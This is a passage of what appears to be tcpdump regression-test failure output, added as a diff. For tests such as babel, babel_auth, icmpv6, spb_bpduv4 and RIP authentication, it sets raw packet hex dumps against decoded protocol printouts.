+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 41fd  ......SY.....2A.
+< 	0x0030:  2b01 0101 e03e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+< 	0x0050:  145c 0304 0000 0ebf 0600                 .\........
+< Out ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 fb42  ......SY.....2.B
+< 	0x0030:  2b01 0102 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145c 0304 0000 0ead 0600                 .\........
+<  In ethertype IPv6 (0x86dd), length 96: 
+< 	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+< 	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc f573  h..5.h.........s
+< 	0x0030:  2b01 0202 cab8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145d 0103 0400 000f 1009 0400 0000 0006  .]..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4104  ......SY.....2A.
+< 	0x0030:  2b01 0101 e13e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+< 	0x0050:  145e 0304 0000 0eb6 0600                 .^........
+<  In ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314c  .........).).$1L
+< 	0x0030:  2a02 0018 0406 0000 1f6e 07d0 050e 0300  *........n......
+< 	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+<  In ethertype IPv6 (0x86dd), length 96: 
+< 	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+< 	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e572  h..5.h.........r
+< 	0x0030:  2b01 0101 cbb8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0300 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145f 0103 0400 000f 1e09 0400 0000 0006  ._..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 112: 
+< 	0x0000:  6000 0000 0038 0001 fe80 0000 0000 0000  `....8..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 3f60 0000 0002 0400 0000 ff02 0000  ..?`............
+< 	0x0040:  0000 0000 0000 0000 0001 0006 0400 0000  ................
+< 	0x0050:  ff02 0000 0000 0000 cca6 c0f9 e182 5359  ..............SY
+---
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 8042 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 40102 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 122) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (110)
+> 	Update/prefix/id 2001:660:3301:8063:218:84ff:fe1a:615d/128 metric 1 seqno 32272 interval 8000
+> 	Next Hop 192.168.4.25
+> 	Update 192.168.4.195/32 metric 1 seqno 32272 interval 8000
+> 	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 0 seqno 40149 interval 8000
+> 	Update ::/0 metric 196 seqno 40149 interval 8000
+> 	Update 192.168.4.25/32 metric 0 seqno 40149 interval 8000
+> IP6 (hlim 1, next-header UDP (17) payload length: 36) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (24)
+> 	Hello seqno 8043 interval 2000
+> 	IHU fe80::3428:af91:251:d626 txcost 96 interval 6000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 40103 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 8044 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 36) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (24)
+> 	Hello seqno 40104 interval 2000
+> 	IHU fe80::68d3:1235:d068:1f9e txcost 96 interval 6000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 8045 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 40105 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 64) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (52)
+> 	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> 	Update/prefix 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> 	Update/prefix 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> IP6 (hlim 1, next-header UDP (17) payload length: 44) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (32)
+> 	MH-Request (127 hops) for 2001:660:3301:8063:218:f3ff:fea9:914e/128 seqno 40150 id 02:18:f3:ff:fe:a9:91:4e
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 64, next-header UDP (17) payload length: 188) fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: [udp sum ok] UDP, length 180
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::3428:af91:251:d626.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 1, next-header UDP (17) payload length: 40) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (28)
+> 	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> IP6 (hlim 1, next-header UDP (17) payload length: 44) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (32)
+> 	MH-Request (127 hops) for 2001:660:3301:8063:218:f3ff:fea9:914e/128 seqno 40150 id 02:18:f3:ff:fe:a9:91:4e
+> IP6 (hlim 64, next-header UDP (17) payload length: 188) fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: [udp sum ok] UDP, length 180
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 1, next-header UDP (17) payload length: 36) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (24)
+> 	Hello seqno 8046 interval 2000
+> 	IHU fe80::3428:af91:251:d626 txcost 96 interval 6000
+> IP6 (hlim 1, next-header UDP (17) payload length: 40) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (28)
+> 	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> IP6 (hlim 1, next-header UDP (17) payload length: 44) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (32)
+> 	MH-Request (127 hops) for 2001:660:3301:8063:218:f3ff:fea9:914e/128 seqno 40150 id 02:18:f3:ff:fe:a9:91:4e
+> IP6 (hlim 64, next-header UDP (17) payload length: 188) fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: [udp sum ok] UDP, length 180
+> IP6 (hlim 1, next-header Options (0) payload length: 56) fe80::68d3:1235:d068:1f9e > ff02::16: HBH (rtalert: 0x0000) (padn)[icmp6 sum ok] ICMP6, multicast listener report v2, 2 group record(s) [gaddr ff02::1:6 to_ex, 0 source(s)] [gaddr ff02::cca6:c0f9:e182:5359 to_ex, 0 source(s)]
+
+Failed test: babel_auth
+
+1,31c1,13
+< b0:99:28:c8:d6:46 > 33:33:00:01:00:06, ethertype IPv6 (0x86dd), length 490: 
+< 	0x0000:  6c00 0000 01b4 1101 fe80 0000 0000 0000  l...............
+< 	0x0010:  b299 28ff fec8 d646 ff02 0000 0000 0000  ..(....F........
+< 	0x0020:  0000 0000 0001 0006 1a28 1a28 01b4 298d  .........(.(..).
+< 	0x0030:  2a02 01a8 0406 0000 e316 0190 080a 0040  *..............@
+< 	0x0040:  0000 ffff a1af ffff 0902 0000 0b06 0002  ................
+< 	0x0050:  4fd0 c1f0 0c16 001e ad0f a7cd 8d5a 1898  O............Z..
+< 	0x0060:  ec54 09c8 edda 68b3 aca2 1b80 0c22 0032  .T....h......".2
+< 	0x0070:  8239 f283 d985 047f a4b8 8597 fde3 2464  .9............$d
+< 	0x0080:  55c6 e4dd 917b 1441 c2f3 a82b 9f73 7674  U....{.A...+.svt
+< 	0x0090:  0c42 03e8 6718 cb4c 2bb0 976c 127a b3cc  .B..g..L+..l.z..
+< 	0x00a0:  cbfa 1105 a1d1 58f0 35bc 9fad 86b0 610a  ......X.5.....a.
+< 	0x00b0:  7acd 27e5 a3d5 a309 0ffb 0312 d7cb b318  z.'.............
+< 	0x00c0:  34e5 d3ea 2b68 cd1f ec3c fb9c e731 d16b  4...+h...<...1.k
+< 	0x00d0:  a8fe ba8c 0c32 03e8 d2a5 b80f f9d0 0690  .....2..........
+< 	0x00e0:  7e3b 6601 c0c2 55d7 d12d 6ec6 1815 e413  ~;f...U..-n.....
+< 	0x00f0:  a334 e2a0 d927 1c75 afbc 086c 070c 714e  .4...'.u...l..qN
+< 	0x0100:  3eff 3496 c20c 56fb 0c16 0064 7213 ced6  >.4...V....dr...
+< 	0x0110:  6fe7 1540 34ec 64cd 14ae 4142 a092 df33  o..@4.d...AB...3
+< 	0x0120:  0c42 07d0 2a5d 9d55 393b 19e4 40fa c49b  .B..*].U9;..@...
+< 	0x0130:  da52 1e18 a7fe 77f7 ab4a 9037 7009 e46e  .R....w..J.7p..n
+< 	0x0140:  2ffe 4933 6435 c7e4 e7be 2159 96df 4f59  /.I3d5....!Y..OY
+< 	0x0150:  c167 ea1c ccdb 4ff7 88da 29a3 0e34 d974  .g....O...)..4.t
+< 	0x0160:  307a dff4 0c32 07d0 fe91 af27 eee1 37ef  0z...2.....'..7.
+< 	0x0170:  489f 37fe e449 100c da8c cb3e 794d 0c4a  H.7..I.....>yM.J
+< 	0x0180:  225d 1272 4a8c e2ff c858 11b8 79cc 566f  "].rJ....X..y.Vo
+< 	0x0190:  d172 2698 4709 1ed1 0c42 0bb8 38c4 d828  .r&.G....B..8..(
+< 	0x01a0:  83a5 7785 00d7 28d1 e243 e757 9de9 6fa7  ..w...(..C.W..o.
+< 	0x01b0:  26c9 db7f 0805 c52e 96fe fdce 7a5f b9af  &...........z_..
+< 	0x01c0:  2cb8 4570 3926 eaab 43c3 e449 89d6 ccb1  ,.Ep9&..C..I....
+< 	0x01d0:  58fc 06db 455e 9f8d 0550 b54f            X...E^...P.O
+---
+> IP6 (class 0xc0, hlim 1, next-header UDP (17) payload length: 436) fe80::b299:28ff:fec8:d646.6696 > ff02::1:6.6696: [udp sum ok] babel 2 (424)
+> 	Hello seqno 58134 interval 400
+> 	Update/id ::/0 metric 65535 seqno 41391 interval 65535
+> 	Request for any
+> 	TS/PC timestamp 1339081200 packetcounter 2
+> 	HMAC key-id 30 digest-20 AD0FA7CD8D5A1898EC5409C8EDDA68B3ACA21B80
+> 	HMAC key-id 50 digest-32 8239F283D985047FA4B88597FDE3246455C6E4DD917B1441C2F3A82B9F737674
+> 	HMAC key-id 1000 digest-64 6718CB4C2BB0976C127AB3CCCBFA1105A1D158F035BC9FAD86B0610A7ACD27E5A3D5A3090FFB0312D7CBB31834E5D3EA2B68CD1FEC3CFB9CE731D16BA8FEBA8C
+> 	HMAC key-id 1000 digest-48 D2A5B80FF9D006907E3B6601C0C255D7D12D6EC61815E413A334E2A0D9271C75AFBC086C070C714E3EFF3496C20C56FB
+> 	HMAC key-id 100 digest-20 7213CED66FE7154034EC64CD14AE4142A092DF33
+> 	HMAC key-id 2000 digest-64 2A5D9D55393B19E440FAC49BDA521E18A7FE77F7AB4A90377009E46E2FFE49336435C7E4E7BE215996DF4F59C167EA1CCCDB4FF788DA29A30E34D974307ADFF4
+> 	HMAC key-id 2000 digest-48 FE91AF27EEE137EF489F37FEE449100CDA8CCB3E794D0C4A225D12724A8CE2FFC85811B879CC566FD172269847091ED1
+> 	HMAC key-id 3000 digest-64 38C4D82883A5778500D728D1E243E7579DE96FA726C9DB7F0805C52E96FEFDCE7A5FB9AF2CB845703926EAAB43C3E44989D6CCB158FC06DB455E9F8D0550B54F
+
+Failed test: icmpv6
+
+1,43c1,26
+< b0:99:28:c8:d6:6c > 33:33:00:00:00:01, ethertype IPv6 (0x86dd), length 230: 
+< 	0x0000:  6000 0000 00b0 3aff fe80 0000 0000 0000  `.....:.........
+< 	0x0010:  b299 28ff fec8 d66c ff02 0000 0000 0000  ..(....l........
+< 	0x0020:  0000 0000 0000 0001 8600 2401 4020 000f  ..........$.@...
+< 	0x0030:  0000 0000 0000 0000 0304 48c0 0027 8d00  ..........H..'..
+< 	0x0040:  0009 3a80 0000 0000 2222 3333 4444 5555  ..:.....""33DDUU
+< 	0x0050:  6600 0000 0000 0000 1905 0000 0000 0005  f...............
+< 	0x0060:  abcd 0000 0000 0000 0000 0000 0000 efef  ................
+< 	0x0070:  1234 5678 0000 0000 0000 0000 0000 0001  .4Vx............
+< 	0x0080:  1f07 0000 0000 0005 0765 7861 6d70 6c65  .........example
+< 	0x0090:  0363 6f6d 0007 6578 616d 706c 6503 6f72  .com..example.or
+< 	0x00a0:  6700 0464 6f6d 3104 646f 6d32 0374 6c64  g..dom1.dom2.tld
+< 	0x00b0:  0000 0000 0000 0000 0501 0000 0000 0064  ...............d
+< 	0x00c0:  0101 b099 28c8 d66c 0701 0000 0000 1388  ....(..l........
+< 	0x00d0:  0801 0000 c351 000f                      .....Q..
+< 00:15:17:cc:e5:46 > 33:33:00:00:00:16, ethertype IPv6 (0x86dd), length 90: 
+< 	0x0000:  6000 0000 0024 0001 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  0215 17ff fecc e546 ff02 0000 0000 0000  .......F........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 1fc5 0000 0001 0400 0000 ff02 0000  ................
+< 	0x0040:  0000 0000 0000 0db8 1122 3344            ........."3D
+< b0:a8:6e:0c:d4:e8 > 33:33:00:00:00:01, ethertype IPv6 (0x86dd), length 90: 
+< 	0x0000:  6000 0000 0024 0001 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  b2a8 6eff fe0c d4e8 ff02 0000 0000 0000  ..n.............
+< 	0x0020:  0000 0000 0000 0001 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8200 623a 2710 0000 0000 0000 0000 0000  ..b:'...........
+< 	0x0040:  0000 0000 0000 0000 023c 0000            .........<..
+< 00:15:17:cc:e5:46 > 33:33:00:00:00:16, ethertype IPv6 (0x86dd), length 150: 
+< 	0x0000:  6000 0000 0060 0001 fe80 0000 0000 0000  `....`..........
+< 	0x0010:  0215 17ff fecc e546 ff02 0000 0000 0000  .......F........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 2a0e 0000 0004 0200 0000 ff02 0000  ..*.............
+< 	0x0040:  0000 0000 0000 0db8 1122 3344 0200 0000  ........."3D....
+< 	0x0050:  ff02 0000 0000 0000 0000 0001 ffcc e546  ...............F
+< 	0x0060:  0200 0000 ff02 0000 0000 0000 0000 0001  ................
+< 	0x0070:  ffa7 10ad 0200 0000 ff02 0000 0000 0000  ................
+< 	0x0080:  0000 0001 ff00 0002                      ........
+< 00:15:17:cc:e5:46 > 33:33:00:00:00:16, ethertype IPv6 (0x86dd), length 90: 
+< 	0x0000:  6000 0000 0024 0001 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  0215 17ff fecc e546 ff02 0000 0000 0000  .......F........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 20c5 0000 0001 0300 0000 ff02 0000  ................
+< 	0x0040:  0000 0000 0000 0db8 1122 3344            ........."3D
+---
+> IP6 (hlim 255, next-header ICMPv6 (58) payload length: 176) fe80::b299:28ff:fec8:d66c > ff02::1: [icmp6 sum ok] ICMP6, router advertisement, length 176
+> 	hop limit 64, Flags [home agent], pref medium, router lifetime 15s, reachable time 0s, retrans time 0s
+> 	  prefix info option (3), length 32 (4): 2222:3333:4444:5555:6600::/72, Flags [onlink, auto], valid time 2592000s, pref. time 604800s
+> 	    0x0000:  48c0 0027 8d00 0009 3a80 0000 0000 2222
+> 	    0x0010:  3333 4444 5555 6600 0000 0000 0000
+> 	  rdnss option (25), length 40 (5):  lifetime 5s, addr: abcd::efef addr: 1234:5678::1
+> 	    0x0000:  0000 0000 0005 abcd 0000 0000 0000 0000
+> 	    0x0010:  0000 0000 efef 1234 5678 0000 0000 0000
+> 	    0x0020:  0000 0000 0001
+> 	  dnssl option (31), length 56 (7):  lifetime 5s, domain(s): example.com. example.org. dom1.dom2.tld.
+> 	    0x0000:  0000 0000 0005 0765 7861 6d70 6c65 0363
+> 	    0x0010:  6f6d 0007 6578 616d 706c 6503 6f72 6700
+> 	    0x0020:  0464 6f6d 3104 646f 6d32 0374 6c64 0000
+> 	    0x0030:  0000 0000 0000
+> 	  mtu option (5), length 8 (1):  100
+> 	    0x0000:  0000 0000 0064
+> 	  source link-address option (1), length 8 (1): b0:99:28:c8:d6:6c
+> 	    0x0000:  b099 28c8 d66c
+> 	  advertisement interval option (7), length 8 (1):  5000ms
+> 	    0x0000:  0000 0000 1388
+> 	  homeagent information option (8), length 8 (1):  preference 50001, lifetime 15
+> 	    0x0000:  0000 c351 000f
+> IP6 (hlim 1, next-header Options (0) payload length: 36) fe80::215:17ff:fecc:e546 > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 1 group record(s) [gaddr ff02::db8:1122:3344 to_ex { }]
+> IP6 (hlim 1, next-header Options (0) payload length: 36) fe80::b2a8:6eff:fe0c:d4e8 > ff02::1: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener query v2 [max resp delay=10000] [gaddr :: robustness=2 qqi=60]
+> IP6 (hlim 1, next-header Options (0) payload length: 96) fe80::215:17ff:fecc:e546 > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 4 group record(s) [gaddr ff02::db8:1122:3344 is_ex { }] [gaddr ff02::1:ffcc:e546 is_ex { }] [gaddr ff02::1:ffa7:10ad is_ex { }] [gaddr ff02::1:ff00:2 is_ex { }]
+> IP6 (hlim 1, next-header Options (0) payload length: 36) fe80::215:17ff:fecc:e546 > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 1 group record(s) [gaddr ff02::db8:1122:3344 to_in { }]
+
+Failed test: spb_bpduv4
+
+1,25c1,25
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+< STP Unknown STP protocol (0x04)
+---
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+> STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+
+Failed test: ripv1v2
+
+3c3,4
+< 	RIPv1, Request, length: 24
+---
+> 	RIPv1, Request, length: 24, routes: 1
+> 	  AFI 0, 0.0.0.0, metric: 16
+10c11,12
+< 	RIPv2, Request, length: 24
+---
+> 	RIPv2, Request, length: 24, routes: 1 or less
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+13c15
+< 	RIPv2, Response, length: 24, routes: 1
+---
+> 	RIPv2, Response, length: 24, routes: 1 or less
+
+Failed test: ripv2_auth
+
+3c3,5
+< 	RIPv2, Request, length: 44
+---
+> 	RIPv2, Request, length: 44, routes: 2 or less
+> 	  Simple Text Authentication data: abcdefghijklmnop
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+6,7c8,9
+< 	RIPv2, Response, length: 44, routes: 2
+< 	  Simple Text Authentication data: abcdefghijklmno
+---
+> 	RIPv2, Response, length: 44, routes: 2 or less
+> 	  Simple Text Authentication data: abcdefghijklmnop
+11c13,17
+< 	RIPv2, Request, length: 64
+---
+> 	RIPv2, Request, length: 64, routes: 3 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 16, SeqNo 1339429688, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  a2fe c865 f120 8808 2326 1369 d6c2 3593
+14,16c20,21
+< 	RIPv2, Response, length: 64, routes: 3
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d10 4fd6 133c 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 64, routes: 3 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 16, SeqNo 1339429692, MBZ 0, MBZ 0
+18c23
+< 	  Unknown (1) Authentication data:
+---
+> 	  Auth trailer:
+22c27,32
+< 	RIPv2, Request, length: 68
